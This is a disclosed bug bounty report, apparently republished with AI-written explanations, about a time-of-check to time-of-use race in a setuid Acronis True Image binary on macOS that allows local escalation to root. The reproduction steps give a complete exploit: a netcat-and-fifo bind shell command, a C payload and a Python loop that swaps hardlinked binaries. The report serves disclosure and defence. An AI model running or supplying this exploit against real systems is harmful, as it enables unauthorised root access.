Acronis True Image Local Privilege Escalation Due To Race Condition In Application Verification
A setuid Acronis True Image binary checks a sibling 'console' binary before running it, but does not lock the file during the check. By hardlinking the setuid binary into a writable directory, an attacker can swap 'console' between the check and the execution, winning a race to run their own code as root.
- Triaged in 4 days
- Fixed in 10 months
- Paid in 8 days
- Disclosed after 13 months
Summary
The Acronis True Image application has a SUID binary "Acronis True Image" that starts another binary "console" in the same directory. The SUID binary does some checks on "console" before it is run to make sure the correct binary is being run. By using a hardlink to the SUID binary we can coerice it to try and load "console" in a chosen directory we can write to. From this point we can exploit that the SUID binary does not lock "console" whilst it checks if it is valid, we setup a environment where we can replace console at will and try to win a race where we replace the "console" binary after it has been checked but before it has been run. If we win this race we gain code execution as root from an admin account.
Steps To Reproduce
first we make the shell command to run
echo "mkfifo myfifo;nc -l 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1" > shell
now lets make the c program that will run this shell command naming it test.c
#include <stdlib.h>
int main()
{
system("touch pass;bash shell");
return 0;
}
compile the program
gcc test.c
run the following python program
import os
import time
os.link("/Applications/Acronis True Image.app/Contents/MacOS/Acronis True Image", "./run")
os.link("/Applications/Acronis True Image.app/Contents/MacOS/console", "./console")
lag = 0.01
while True:
os.popen("./run")
time.sleep(lag)
os.unlink("./console")
os.link("./a.out", "./console")
time.sleep(1.0)
os.unlink("./console")
os.link("Applications/Acronis True Image.app/Contents/MacOS/console", "./console")
lag += 0.01
if os.path.exists("./pass"):
exit()
connect to the root shell
nc 127.0.0.1 8080
Recommendations
Any binaries that are checked for validity should be locked so that they can not be replaced during validation. Additionally if possible the application should verify where it is being run from to try and prevent further symlink attacks.
Impact
Local privilege escalation to root.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the setuid binary validates the 'console' helper by path without holding a lock or open file handle, so the file can be replaced between the check and the execution (a time-of-check to time-of-use race).
Impact
An attacker with an admin account could escalate to root on the local machine if the race is won.
What the attacker needed
Local admin account; ability to write to a chosen directory; winning a timing race
The fix
The checked binaries should be locked so they cannot be replaced during validation, and the application should verify where it is being run from to prevent symlink-style attacks.
How it was found
- Create a shell script that starts a listener and an interactive shell.
- Write and compile a small C program that runs that shell script.
- Hardlink the setuid binary and the console binary into a writable directory.
- Repeatedly run the setuid binary while swapping console for the compiled program and back, adjusting the delay.
- Stop when the marker file appears, then connect to the listening port to get a root shell.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Some programs run with extra privileges (here, as the root user) so they can do privileged tasks. This program first checks that a helper program is the right one, then runs it, but it leaves a gap where the helper can be swapped for a malicious one. Winning that timing gap lets an ordinary admin user run their own code with root rights.
What is Race condition?
Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.